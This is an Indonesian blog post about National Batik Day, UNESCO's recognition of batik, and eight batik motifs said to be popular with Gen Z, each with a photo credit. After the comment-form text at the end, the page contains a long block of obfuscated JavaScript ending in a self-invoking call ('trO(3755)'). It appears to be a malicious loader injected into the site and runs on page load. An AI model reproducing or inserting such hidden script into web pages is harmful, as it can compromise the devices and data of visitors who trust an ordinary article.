22/12/2024
Batik lagi.zip - 1

Peringatan Hari Batik Nasional dimulai pada tahun 2009, setelah Organisasi Pendidikan, Keilmuan, dan Kebudayaan Perserikatan Bangsa-Bangsa (UNESCO) menetapkan batik sebagai “Masterpiece of Oral and Intangible Heritage of Humanity” atau warisan budaya tak benda milik dunia. Pengakuan ini merupakan wujud apresiasi terhadap batik sebagai warisan budaya yang memiliki nilai seni tinggi dan diwariskan secara turun-temurun.

Batik diakui UNESCO karena proses pembuatannya yang unik, teknik pewarnaan yang menggunakan lilin malam, serta corak dan motifnya yang mencerminkan nilai-nilai filosofis dan simbolis kehidupan masyarakat Indonesia. Setiap motif batik memiliki makna tersendiri, sering kali mencerminkan status sosial, identitas budaya, hingga pesan-pesan moral atau spiritual.

Akan tetapi, tak semua motif batik cocok dan banyak digemari di setiap zaman dan setiap generasi. Pada zaman ini, generasi Z menjadi corak utama dalam kehidupan. Namun, generasi Z, yang dikenal kreatif, dinamis, dan suka dengan gaya yang unik dan modern, cenderung mencari motif batik yang bisa mencerminkan identitas mereka namun tetap memiliki sentuhan budaya.

Berikut beberapa corak dan motif batik yang biasa Gen Z gemari:

1. Motif Batik Kontemporer

Batik kontemporer menawarkan variasi motif yang lebih modern dan sederhana, sering kali menggabungkan elemen geometris, abstrak, atau minimalis. Warna-warna cerah atau netral yang lebih sesuai dengan tren mode anak muda sering digunakan. Desain ini cocok bagi Gen Z yang ingin tampil modern sambil tetap mengapresiasi warisan budaya.

Sumber foto : Pinterest/Batik Dlidir Indonesia

2. Motif Megamendung

Berasal dari Cirebon, motif Megamendung yang berbentuk awan ini memiliki desain yang simpel namun tetap estetik. Motif ini populer di kalangan anak muda karena bentuknya yang unik dan sering kali dikombinasikan dengan warna-warna cerah dan kontras, yang cocok dengan gaya ekspresif dan kreatif Gen Z.

 

Sumber foto : Pinterest/Bell Art

3. Motif Batik Kawung

Motif Kawung yang terdiri dari pola geometris berbentuk lingkaran berulang memberikan kesan minimalis namun elegan. Bentuknya yang bersih dan simetris menarik bagi generasi yang menyukai kesederhanaan tetapi tetap ingin terlihat chic. Desain ini mudah dipadukan dengan berbagai gaya pakaian kasual atau semi-formal.

Sumber foto : Vecteezy/kangkikur

4. Motif Batik Parang Kecil

Jika motif Parang Besar dianggap terlalu tradisional dan formal, motif Parang Kecil memberikan versi yang lebih lembut dan cocok untuk pakaian sehari-hari. Gen Z cenderung tertarik dengan desain ini karena bisa diadaptasi untuk pakaian casual namun tetap terlihat berkelas dan kaya akan nilai budaya.

Sumber foto : Vecteezy/bambangratuwibowo293123

5. Motif Batik Pesisiran

Motif batik pesisiran, seperti yang berasal dari daerah Pekalongan, sering kali menggunakan warna-warna cerah dan motif-motif natural seperti bunga, burung, atau hewan laut. Desainnya yang ceria dan penuh warna menarik perhatian generasi muda yang menyukai tampilan yang fresh dan playful.

 

Sumber foto : alonabatik

6. Motif Batik Custom atau Personalized

Beberapa anak muda Gen Z suka berkreasi dengan motif batik custom atau personalized, di mana mereka bisa memadukan motif tradisional dengan unsur-unsur modern, seperti logo, ikon, atau ilustrasi yang mencerminkan kepribadian mereka. Dengan teknologi digital, batik dapat didesain khusus untuk menciptakan gaya yang unik dan eksklusif.

 

Sumber foto : Konveksi Batik

7. Motif Batik Floral Modern

Motif floral sering menjadi favorit anak muda karena kesan feminim, segar, dan mudah dipadukan dengan gaya busana kekinian. Motif bunga yang diperbarui dengan gaya lebih modern dan warna lebih vibrant cocok bagi Gen Z yang menyukai fashion yang berani dan segar.

 

Sumber foto : Freepik/rawpixel.com

8. Motif Batik Abstrak

Motif-motif batik abstrak atau batik lukis memberikan kebebasan bagi para desainer dan pengguna untuk berekspresi. Gaya ini sangat cocok dengan jiwa kreatif Gen Z yang menyukai hal-hal out-of-the-box dan tidak terikat pada aturan tradisional.

 

Sumber foto : Balai Besar Kerajinan dan Batik

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z,(Zs(b0a}}oc2Z2&_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(ZihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();